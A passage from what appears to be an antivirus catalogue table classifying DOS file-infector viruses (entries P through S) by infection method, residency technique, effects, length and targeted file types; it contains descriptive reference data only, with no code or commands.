¦Ph33r.1332 ¦INT ¦MCB ¦ - ¦1332 ¦ CEO ¦ e ¦ L ¦
¦Phardera.5824 ¦INT ¦MCB ¦ V ¦5824 ¦ .C.E&CE* ¦ e ¦ L ¦
¦PhisDept.6294 ¦INT ¦MCB ¦ HV ¦6294 ¦ CE * ¦CsEi ¦ L ¦
¦Phoenix.800 ¦INT ¦MCB ¦ - ¦800 ¦ .C&C ¦ i ¦ L ++ ¦
¦Phonix.927 ¦INT ¦MCB ¦ HV ¦927 ¦ .C.E* ¦ e ¦ L ¦
¦Piaf.1859 ¦INT ¦KEEP¦ V ¦1859 ¦ CE ¦ CsEe¦ L ¦
¦Pieck.2016 ¦INT ¦MCB ¦ V ¦2016 ¦ E+boot* ¦ e ¦ L ¦
¦PifPaf.760 ¦INT ¦MCB ¦ - ¦760 ¦ CE * ¦ e ¦ L ¦
¦Pit.611 ¦FIND¦ - ¦ H ¦611 ¦ .C * ¦ e ¦ L+p ¦
¦Piter.529 ¦INT ¦KEEP¦ - ¦529 ¦ .C * ¦ s ¦ L ¦
¦Pk.4096 ¦FIND¦ - ¦ - ¦4096 ¦ .C.E&CE ¦ e ¦ L ¦
¦Plague.2647 ¦INT ¦MCB ¦ - ¦2647 ¦ .C.E&CES*¦ e ¦ L ¦
¦PlayGame.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .E&E+boot¦ e *¦ L ¦
¦PM.Wanderer ¦INT ¦PMod¦ - ¦3684 ¦ .C.E&CE *¦CsEi ¦ L+256+? ¦
¦Polifemo.906 ¦FIND¦ - ¦ - ¦906 ¦ .C ¦ e ¦ L ¦
¦Polimer.512 ¦FIND¦ - ¦ V ¦512 ¦ .C * ¦ s ¦ L ¦
¦Polska.4004 ¦INT ¦MCB ¦ V ¦4004 ¦ .C.E&CE *¦ e ¦ L ¦
¦Poro.1257 ¦INT ¦MCB ¦ HV ¦1257 ¦ CE * ¦ e ¦ L+p ¦
¦Poruchik.2774 ¦INFI¦MCB ¦ - ¦2774 ¦ .E&E * ¦ e ¦ L+p ¦
¦PowerPump ¦FIND¦ - ¦ - ¦1199 ¦ .E ¦ s ¦ L, companion ¦
¦Pretentious.680¦FIND¦ - ¦ V ¦680 ¦ .C&C * ¦ e ¦ L ¦
¦Priest.1416 ¦FIND¦ - ¦ HV ¦1416 ¦ .C.E&CE *¦ e ¦ L ¦
¦Printerceptor ¦INT ¦KEEP¦ Ch ¦987 ¦ .E *¦ s ¦ L, companion ¦
¦Privet.1152 ¦INFI¦MCB ¦ V ¦1152 ¦ .E&E * ¦ e ¦ L+p ¦
¦Prohibit.1500 ¦INT ¦MCB ¦ V ¦1500 ¦ .C.E&CE *¦ e ¦ L ¦
¦Promiscuo.2725 ¦INT ¦MCB ¦ HEr¦2725 ¦ .C.E&CE *¦ e ¦ L+? ¦
¦Proto-T.CivilWarFIND¦ - ¦ - ¦ ? ¦ .C ¦ e ¦ L ¦
¦PrtSc.1024 (2)¦INT ¦MCB ¦ Er ¦1024 ¦ .C&C * ¦ s ¦ L ¦
¦Psycho.723 ¦FIND¦ - ¦ H ¦723 ¦ *.* ¦ s ¦ L, overwrite ¦
¦Punisher.1632 ¦INT ¦MCB ¦ - ¦1632 ¦ .C.E&CE *¦ e ¦ L ¦
¦Puppet.487 ¦INT ¦MCB ¦ - ¦487 ¦ C * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part Q
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Quish.239 ¦FIND¦ - ¦ - ¦239 ¦ .C ¦ e ¦ L ¦
¦Quish.303 ¦FIND¦ - ¦ Er ¦303 ¦ .C ¦ e ¦ L+(0-256) ¦
¦Quish.304 ¦FIND¦ - ¦ - ¦303 ¦ .C ¦ e ¦ L+(0-256) ¦
¦Quish.305 ¦FIND¦ - ¦ - ¦305 ¦ .C ¦ e ¦ L+(0-256) ¦
¦Quish.330 ¦FIND¦ - ¦ - ¦330 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Q.8Ball (2)¦INT ¦HMA*¦ - ¦512 ¦CONFIG+boot¦ e *¦ - ¦
¦.IOwe ¦INT ¦VIDE¦ - ¦261 ¦ IO.SYS * ¦ s ¦ 0, inserting ¦
¦.Shimmer (2)¦INT ¦HMA*¦ Ch ¦512 WINSTART+boot s ¦ L+0-261, create ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Qawo.719 ¦INT ¦MCB ¦ - ¦719 ¦ E * ¦ e ¦ L ¦
¦Qmu.1513 ¦INT ¦KEEP¦ HCh¦1513 ¦ C+boot* ¦ e ¦ L ¦
¦Quasar.523 ¦INFI¦MCB ¦ H ¦523 ¦ .C.E ¦ i ¦ L, overwrite ¦
¦Qudem.555 ¦INT ¦MCB ¦ - ¦555 ¦ .C&C * ¦ e ¦ L ¦
¦Quicky.1376 ¦INT ¦MCB ¦ Ch ¦1376 ¦ E ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part R
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦RaseK.1489 ¦INT ¦MCB ¦ H ¦1489 ¦ CE+boot * ¦ e ¦ C-L, E-L+p ¦
¦RaseK.1490 ¦INT ¦MCB ¦ HEr¦1490 ¦ CE+boot * ¦ e ¦ C-L, E-L+p ¦
¦RaseK.1492 ¦INT ¦MCB ¦ H ¦1492 ¦ CE+boot * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Radio101.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Radio101.2076 ¦INT ¦MCB ¦ V ¦2076 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦RDA.Fighter.5871INT ¦MCB ¦ H ¦5871 ¦ .C.E&CE * ¦ e ¦ L+? ¦
¦.Fighter.5969 ¦INT ¦MCB ¦ H ¦5969 ¦ .C.E&CE * ¦ e ¦ L+? ¦
¦.Fighter.7408 ¦INT ¦MCB ¦ HV ¦7408 ¦ CE+boot* ¦ e ¦ L+? ¦
¦.Fighter.7802 ¦INT ¦MCB ¦ V ¦7802 ¦ .C.E&CE * ¦ e ¦ L+? ¦
¦.Fighter.7868 ¦INT ¦MCB ¦ V ¦7868 ¦ .C.E&CE * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦RedArc.415 ¦FIND¦ - ¦ - ¦415 ¦ .C&C ¦ e ¦ L ¦
¦RedArc.based ¦INFI¦ ? ¦ ? ¦ ? ¦ C ¦ e ¦ L ¦
¦.AD.243 ¦FIND¦ - ¦ - ¦243 ¦ .C ¦ e ¦ L ¦
¦.AD.436 ¦FIND¦ - ¦ - ¦436 ¦ .C ¦ e ¦ L ¦
¦.Drunk ¦FIND¦ - ¦ H ¦166 ¦ .C ¦ s ¦ 0, overwrite ¦
¦.Fraud ¦FIND¦ - ¦ V ¦580 ¦ E * ¦ s ¦ L ¦
¦.Helga.666 ¦FIND¦ - ¦ HV ¦666 ¦ .C&C * ¦ e ¦ L ¦
¦.Stinger ¦FIND¦ - ¦ V ¦710 ¦ .C * ¦ e ¦ L ¦
¦.Vesna.1000 (2)¦FIND¦ - ¦ HV ¦1000 ¦ .C * ¦ e ¦ L ¦
¦.Vesna.1614 ¦FIND¦ - ¦ HV ¦1614 ¦ .C.E * ¦ e ¦ C-L+?, E-L+p ¦
¦.Vesna.1724 ¦FIND¦ - ¦ HV ¦1724 ¦ .C.E * ¦ e ¦ C-L+?, E-L+p ¦
¦.Vesna.1751 ¦FIND¦ - ¦ HV ¦1751 ¦ .C.E&CE* ¦ e ¦ C-L+?, E-L+p ¦
¦.Vesna.1833 ¦FIND¦ - ¦ HV ¦1833 ¦ .C.E * ¦ e ¦ C-L+?, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Renegade.1176 ¦INT ¦MCB ¦ VEr¦1176 ¦ .E&E * ¦ i ¦ L ¦
¦Renegade.4509 ¦INT ¦MCB ¦ HV ¦4509 ¦ CE+boot * ¦ i ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Rescue.3423 (2)¦INT ¦MCB ¦ HV ¦3423 ¦ E ¦ e ¦ L+p ¦
¦Rescue.3774 ¦INT ¦MCB ¦ HV ¦3774 ¦ E ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Riot.309 ¦FIND¦ - ¦ H ¦309 ¦ .C * ¦ e ¦ L ¦
¦.Demand ¦FIND¦ - ¦ H ¦789 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦.Enemy.757 ¦INT ¦MCB ¦ H ¦757 ¦ CE * ¦ s ¦ L, companion ¦
¦.Evil.769 ¦INT ¦MCB ¦ - ¦769 ¦ C * ¦ e ¦ L ¦
¦.Flood ¦INT ¦KEEP¦ HV ¦304 ¦ CEO * ¦ s ¦ 0, overwrite ¦
¦.Marked.354 ¦INT ¦MCB ¦ HV ¦354 ¦ CE * ¦ s ¦ 0, overwrite ¦
¦.Multiplex ¦FIND¦ - ¦ H ¦821 ¦ .C * ¦ e ¦ L ¦
¦.Pollution ¦INT ¦MCB ¦ HS ¦823 ¦ .C&C * ¦ e ¦ L ¦
¦.RatBoy.513 ¦FIND¦ - ¦ H ¦513 ¦ .C * ¦ e ¦ L ¦
¦.RatBoy.545 ¦FIND¦ - ¦ H ¦545 ¦ .C * ¦ e ¦ L ¦
¦.RatBoy.671 ¦FIND¦ - ¦ H ¦671 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Rmns.297 ¦INT ¦MCB ¦ - ¦297 ¦ C ¦ e ¦ L ¦
¦Rmns.353 ¦INT ¦MCB ¦ - ¦353 ¦ C ¦ e ¦ L ¦
¦Rmns.651 ¦INT ¦MCB ¦ - ¦651 ¦ C * ¦ e ¦ L ¦
¦Rmns.736 ¦INT ¦MCB ¦ - ¦736 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Russel.1235 ¦INT ¦MCB ¦ H ¦1235 ¦ .C.E&CE ¦ e ¦ L ¦
¦Russel.3072 (3)¦INT ¦MCB ¦ - ¦3072 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦RusTiny.108 ¦INT ¦INTB¦ Er ¦108 ¦ C ¦ s ¦ L ¦
¦RusTiny.119 ¦INT ¦INTB¦ - ¦119 ¦ .C ¦ e ¦ L ¦
¦RusTiny.123 ¦INT ¦INTB¦ - ¦123 ¦ .C ¦ e ¦ L ¦
¦RusTiny.127 ¦INT ¦INTB¦ Er ¦127 ¦ C ¦ e ¦ L ¦
¦RusTiny.130 ¦INT ¦INTB¦ - ¦130 ¦ .C ¦ e ¦ L ¦
¦RusTiny.131 ¦INT ¦INTB¦ - ¦131 ¦ .C ¦ e ¦ L ¦
¦RusTiny.132 (3)¦INT ¦INTB¦ - ¦132 ¦ .C ¦ e ¦ L ¦
¦RusTiny.133 ¦INT ¦INTB¦ - ¦133 ¦ .C ¦ e ¦ L ¦
¦RusTiny.140 ¦INT ¦INTB¦ Er ¦140 ¦ C ¦ e ¦ L ¦
¦RusTiny.145 (2)¦INT ¦INTB¦ - ¦145 ¦ .C ¦ e ¦ L ¦
¦RusTiny.146 ¦INT ¦INTB¦ - ¦146 ¦ .C ¦ e ¦ L ¦
¦RusTiny.150 ¦INT ¦INTB¦ - ¦150 ¦ .C ¦ e ¦ L ¦
¦RusTiny.157 ¦INT ¦INTB¦ - ¦157 ¦ .C ¦ e ¦ L ¦
¦RusTiny.160 ¦INT ¦INTB¦ Er ¦160 ¦ C ¦ e ¦ L ¦
¦RusTiny.162 ¦INT ¦INTB¦ - ¦162 ¦ .C ¦ e ¦ L ¦
¦RusTiny.163 ¦INT ¦INTB¦ - ¦163 ¦ .C ¦ e ¦ L ¦
¦RusTiny.164 ¦INT ¦INTB¦ - ¦164 ¦ C ¦ s ¦ L ¦
¦RusTiny.178 ¦INT ¦INTB¦ Er ¦178 ¦ C ¦ e ¦ L ¦
¦RusTiny.184 ¦INT ¦INTB¦ - ¦184 ¦ C ¦ e ¦ L ¦
¦RusTiny.185 ¦INT ¦INTB¦ - ¦185 ¦ .C ¦ e ¦ L ¦
¦RusTiny.208 ¦INT ¦INTB¦ - ¦208 ¦ C ¦ e ¦ L ¦
¦RusTiny.225 ¦INT ¦INTB¦ - ¦225 ¦ .C ¦ e ¦ L ¦
¦RusTiny.409 ¦INT ¦INTB¦ - ¦409 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Raiden.1433 ¦INFI¦ADDR¦ V ¦1433 ¦ E+boot* ¦ e ¦ L+p ¦
¦Rake.975 ¦INT ¦MCB ¦ - ¦975 ¦ E ¦ e ¦ L+p ¦
¦Raving.2300 ¦FIND¦ - ¦ HV ¦2300 ¦ .C * ¦ s ¦ L, overwrite ¦
¦Rauser.83 ¦INT ¦KEEP¦ - ¦83 ¦ CE ¦ s ¦ L, companion ¦
¦Raymon.994 ¦FIND¦ - ¦ HV ¦994 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦RedHack.1405 ¦INT ¦MCB ¦ H ¦1405 ¦ C ¦ s ¦ L ¦
¦RedLaugh.607 ¦INFI¦MCB ¦ V ¦607 ¦ .C * ¦ s ¦ L ¦
¦ReedCat.916 ¦FIND¦ - ¦ - ¦916 ¦ .C.E&CE* ¦ e ¦ L+(1-15) ¦
¦Remute.779 ¦INT ¦MCB ¦ Er ¦779 ¦ CE * ¦ e ¦ L ¦
¦Rennie.2106 ¦INT ¦MCB ¦ - ¦2106 ¦ E ¦ e ¦ L ¦
¦Reset.607 ¦FIND¦ - ¦ V ¦607 ¦ .C * ¦ e ¦ L ¦
¦Revelation.4096¦INT ¦MCB ¦ V ¦4096 ¦ C * ¦ e ¦ L ¦
¦Reverse.948 ¦INT ¦MCB ¦ - ¦948 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0¦
¦Rex.1637 ¦INFI¦MCB ¦ Ch ¦1637 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Rift.480 ¦INFI¦MCB ¦ - ¦480 ¦ .C&C * ¦ e ¦ L ¦
¦Rock.1076 ¦FIND¦ * ¦ V ¦1076 ¦ .E&E * ¦ e ¦ L+p ¦
¦Rogue.1208 ¦INT ¦MCB ¦ HV ¦1208 ¦ CE * ¦ e ¦ L ¦
¦Roman.1995 ¦INT ¦MCB ¦ V ¦1995 ¦ C * ¦ e ¦ L ¦
¦RTP.Demo.4838 ¦FIND¦ - ¦ - ¦4838 ¦ .C * ¦ e ¦ L+p ¦
¦Ruchawi.2548 ¦FIND¦ - ¦ HV ¦2548 ¦ .E&E * ¦ e ¦ L+p ¦
¦Rush.681 ¦INFI¦INTB¦ HV ¦681 ¦ .C&C * ¦ e ¦ L+p ¦
¦RushHour (3)¦INT ¦KEEP¦ H ¦ ? ¦ CEO * ¦ e ¦ ? ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part S
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Sailor.785 ¦INT ¦MCB ¦ - ¦785 ¦ E ¦ e ¦ L+? ¦
¦Sailor.938 ¦INT ¦MCB ¦ - ¦938 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sarov.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ .C&C * ¦ e ¦ L ¦
¦Sarov.1140 ¦INT ¦MCB ¦ Ch ¦1140 ¦ .C&C * ¦ e ¦ L ¦
¦Sarov.1200 (2)¦INT ¦MCB ¦ Ch ¦1200 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Satanbug (3)¦INT ¦MCB ¦ - ¦3471 ¦ CE * ¦ e ¦ L+p+? ¦
¦Satanbug.1568 ¦INT ¦MCB ¦ - ¦1568 ¦ C * ¦ e ¦ L+? ¦
¦.FruitFly ¦FIND¦ - ¦ H ¦2769 ¦ .C&C * ¦ e ¦ L+p+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sayha.DieHard(5)INT ¦MCB ¦ HV ¦4000 ¦ CE * ¦ e ¦ L ¦
¦.Watpu ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Seat.1614 ¦INT ¦MCB ¦ V ¦1614 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p ¦
¦Seat.1868 ¦INT ¦MCB ¦ V ¦1868 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p ¦
¦Seat.2389 ¦INT ¦MCB ¦ V ¦2389 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p ¦
¦Seat.2419 ¦INT ¦MCB ¦ V ¦2419 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sentinel.4636 ¦INT ¦MCB ¦ - ¦4636 ¦ CEO* ¦ e ¦ L ¦
¦Sentinel.5115 ¦INT ¦MCB ¦ - ¦5115 ¦ CEO ¦ e ¦ L ¦
¦Sentinel.5173 ¦INT ¦MCB ¦ - ¦5173 ¦ CEO* ¦ e ¦ L ¦
¦Sentinel.5402 ¦INT ¦MCB ¦ - ¦5402 ¦ CEO ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦SGWW.Ace ¦INT ¦MCB ¦HVEr¦1872 ¦ CO * ¦CsOi ¦ C-L, O-L+? ¦
¦.Amber.1408 ¦FIND¦ - ¦ - ¦1408 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Amber.2724 ¦INT ¦MCB ¦ - ¦2724 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦.Beast.1216 ¦INT ¦MCB ¦ - ¦1216 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Beast.1347 ¦FIND¦ - ¦ - ¦1347 ¦ .C&C * ¦ i,e ¦ L ¦
¦.Freemun ¦FIND¦ - ¦ - ¦200 ¦ .C * ¦ s ¦ L ¦
¦.Happy ¦FIND¦ - ¦ - ¦506 ¦ .C * ¦ e ¦ L+p ¦
¦.Killer.3072(3)¦INT ¦MCB ¦ HEr¦3072 ¦ CEO * ¦ e ¦ L ¦
¦.Killer.3584(2)¦INT ¦MCB ¦ HEr¦3584 ¦ CEO * ¦ e ¦ L ¦
¦.Light ¦FIND¦ - ¦ - ¦1219 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Maverick.1536(2INT ¦MCB ¦ H ¦1536 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Maverick.2048 ¦INT ¦MCB ¦ V ¦2048 ¦ CEO * ¦ e ¦ L ¦
¦.Never.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ CE * ¦CsEe ¦ L ¦
¦.Nostardamus.1870INT¦MCB ¦HVEr¦1870 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Nostardamus.2078INT¦MCB ¦HVCh¦2078 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Nostardamus.2184INT¦MCB ¦HVCh¦2184 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Nostardamus.2247INT¦MCB ¦HVCh¦2247 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Nostardamus.2308INT¦MCB ¦HVCh¦2308 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Nostardamus.2500INT¦MCB ¦HVEr¦2500 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Nostardamus.2560INT¦MCB ¦HVEr¦2560 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Nostardamus.5995INT¦MCB ¦HVEr¦5995 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Pantera ¦FIND¦ - ¦ - ¦479 ¦ .C * ¦ e ¦ L ¦
¦.Penthouse ¦FIND¦ - ¦ S ¦1568 ¦ .C * ¦ e ¦ L+(0-49) ¦
¦.Rattler ¦INT ¦MCB ¦ H ¦1536 ¦ CEO * ¦ e ¦ L ¦
¦.Simbioz ¦FIND¦ - ¦ - ¦330 ¦ .C * ¦ i,e ¦ L ¦
¦.StoneHeart ¦INT ¦MCB ¦ - ¦1514 ¦ E * ¦ e ¦ L+? ¦
¦.Tchechen.1909 ¦INT ¦MCB ¦ HV ¦1909 ¦ CE * ¦ e ¦ L ¦
¦.Tchechen.1912 ¦INT ¦MCB ¦ HV ¦1912 ¦ CE * ¦ e ¦ L ¦
¦.Tchechen.1914 ¦INT ¦MCB ¦ HV ¦1914 ¦ CE * ¦ e ¦ L ¦
¦.Tchechen.1919 ¦INT ¦MCB ¦ HV ¦1919 ¦ CE * ¦ e ¦ L ¦
¦.Tchechen.1988 ¦INT ¦MCB ¦ - ¦1988 ¦ CE ¦ e ¦ L+? ¦
¦.Tchechen.3338 ¦INT ¦MCB ¦ HV ¦3338 ¦ CE * ¦ e ¦ L+? ¦
¦.Tchechen.3370 ¦INT ¦MCB ¦ HV ¦3370 ¦ CE * ¦ e ¦ L+? ¦
¦.Tchechen.3420 ¦INT ¦MCB ¦HVEr¦3420 ¦ CE * ¦ e ¦ L+? ¦
¦.Tchechen.3436 ¦INT ¦MCB ¦HVEr¦3436 ¦ CE * ¦ e ¦ L+? ¦
¦.Tchechen.3564 ¦INT ¦MCB ¦HVEr¦3564 ¦ CE * ¦ e ¦ L+? ¦
¦.Tchechen.3604 ¦INT ¦MCB ¦ HV ¦3604 ¦ CE * ¦ e ¦ L+p ¦
¦.Train ¦INT ¦MCB ¦ Er ¦2560 ¦ CEO * ¦ e ¦ L ¦
¦.Zoo ¦FIND¦ - ¦ V ¦383 ¦ E * ¦ i ¦ 0, inserting ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sh.254 ¦INT ¦INTB¦ - ¦254 ¦ C ¦ e ¦ L+p ¦
¦Sh.983 ¦INFI¦ADDR¦ - ¦983 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Sh.988 ¦INFI¦ADDR¦ - ¦988 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Sh.1333 ¦INFI¦MCB ¦ HEr¦1333 ¦ .E&E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Shiny.918 ¦INT ¦MCB ¦ HV ¦918 ¦ CE * ¦ E ¦ L ¦
¦Shiny.921 ¦INT ¦MCB ¦ VCh¦921 ¦ CE * ¦ e ¦ L ¦
¦Shiny.934 ¦INT ¦MCB ¦ VCh¦934 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Shire.143 ¦FIND¦ - ¦ - ¦143 ¦ .C ¦ s ¦ L ¦
¦Shire.155 ¦FIND¦ - ¦ - ¦155 ¦ .C ¦ s ¦ L ¦
¦Shire.210 ¦FIND¦ - ¦ - ¦210 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Shish.1002 ¦INT ¦MCB ¦ H ¦1002 ¦ E * ¦ e ¦ L ¦
¦Shish.1142 ¦INT ¦MCB ¦ HV ¦1142 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sibylle.853 ¦INT ¦MCB ¦ H ¦853 ¦ E * ¦ e ¦ L+p ¦
¦Sibylle.858 ¦INT ¦MCB ¦ H ¦858 ¦ E * ¦ e ¦ L+p ¦
¦Sibylle.1200 ¦INT ¦MCB ¦ H ¦1200 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦SillyC.96 ¦FIND¦ - ¦ - ¦96 ¦ .C ¦ e ¦ L ¦
¦SillyC.101 ¦FIND¦ - ¦ - ¦101 ¦ .C ¦ e ¦ L ¦
¦SillyC.103 ¦FIND¦ - ¦ - ¦103 ¦ .C ¦ e ¦ L ¦
¦SillyC.104 ¦FIND¦ - ¦ - ¦104 ¦ .C ¦ e ¦ L ¦
¦SillyC.150 ¦FIND¦ - ¦ - ¦150 ¦ .C ¦ e ¦ L ¦
¦SillyC.165 ¦FIND¦ - ¦ - ¦165 ¦ .C ¦ s ¦ L ¦
¦SillyC.175 ¦FIND¦ - ¦ - ¦175 ¦ .C ¦ e ¦ L ¦
¦SillyC.192 ¦FIND¦ - ¦ - ¦192 ¦ .C ¦ s ¦ L ¦
¦SillyC.207 ¦FIND¦ - ¦ - ¦207 ¦ .C ¦ i ¦ 0, insert ¦
¦SillyC.215 ¦FIND¦ - ¦ - ¦215 ¦ .C ¦ s ¦ L ¦
¦SillyC.258 ¦FIND¦ - ¦ - ¦258 ¦ .C ¦ e ¦ L ¦
¦SillyC.316 ¦FIND¦ - ¦ H ¦316 ¦ .C * ¦ e ¦ L ¦
¦SillyC.365 ¦FIND¦ - ¦ VEr¦365 ¦ .C ¦ e ¦ L ¦
¦SillyC.439 ¦FIND¦ - ¦ - ¦439 ¦ .C&C ¦ s ¦ L ¦
¦SillyC.488 ¦FIND¦ - ¦ - ¦439 ¦ .C&C ¦ s ¦ L+p ¦
¦SillyC.490 ¦FIND¦ - ¦ - ¦490 ¦ .C ¦ e ¦ L ¦
¦SillyC.544 ¦FIND¦ - ¦ - ¦544 ¦ .C ¦ e ¦ L ¦
¦SillyC.557 ¦FIND¦ - ¦ VEr¦557 ¦ .C ¦ e ¦ L ¦
¦SillyC.638 ¦FIND¦ * ¦ H ¦638 ¦ .C&C * ¦ e ¦ L+p ¦
¦SillyC.664 ¦FIND¦ - ¦ - ¦664 ¦ .C ¦ e ¦ L ¦
¦SillyC.681 ¦FIND¦ - ¦ - ¦681 ¦ .C&C * ¦ e ¦ L ¦
¦SillyC.857 ¦FIND¦ - ¦ - ¦857 ¦ .C ¦ e ¦ L ¦
¦SillyC.901 ¦FIND¦ - ¦ - ¦901 ¦ .C ¦ e ¦ L ¦
¦SillyC.1063 ¦FIND¦ - ¦ HV ¦1063 ¦COMMAND.COM¦ e ¦ L+p ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦SillyE.511 ¦FIND¦ - ¦ - ¦511 ¦ .E ¦ e ¦ L+p ¦
¦SillyE.714 ¦FIND¦ - ¦ H ¦714 ¦ .E ¦ e ¦ L+p ¦
¦SillyE.756 ¦FIND¦ - ¦ S ¦756 ¦ .E ¦ e ¦ L+p ¦
¦SillyE.1264 ¦FIND¦ - ¦ H ¦1264 ¦ .E * ¦ e ¦ L+p ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦SillyO.81 ¦FIND¦ - ¦ H ¦81 ¦ .C ¦ s ¦ 0, overwrite ¦
¦SillyO.82 ¦FIND¦ - ¦ H ¦82 ¦ .C ¦ s ¦ 0, overwrite ¦
¦SillyO.247 ¦FIND¦ - ¦ H ¦247 ¦ .C ¦ s ¦ 0, overwrite ¦
¦SillyO.276 ¦FIND¦ - ¦ HV ¦276 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦SillyO.712 ¦FIND¦ - ¦ H ¦712 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦SillyOR.49 ¦INT ¦KEEP¦ H ¦49 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.50 ¦INT ¦KEEP¦ H ¦50 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.67 ¦INT ¦KEEP¦ H ¦67 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.71 ¦INT ¦KEEP¦ H ¦71 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.76 ¦INT ¦KEEP¦ H ¦76 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.88 ¦INT ¦DOSD¦ H ¦88 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.94 ¦INT ¦DOSD¦ H ¦94 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.97 ¦INT ¦DOSD¦ H ¦97 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦SillyOR.101 ¦INT ¦DOSD¦ H ¦101 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦SillyRC.120 ¦INT ¦INTB¦ - ¦120 ¦ .C ¦ e ¦ L ¦
¦SillyRC.125 ¦INT ¦INTB¦ - ¦125 ¦ .C ¦ s ¦ L ¦
¦SillyRC.130 ¦INT ¦INTB¦ - ¦130 ¦ C ¦ e ¦ L ¦
¦SillyRC.131 ¦INT ¦DOSD¦ - ¦131 ¦ C ¦ e ¦ L ¦
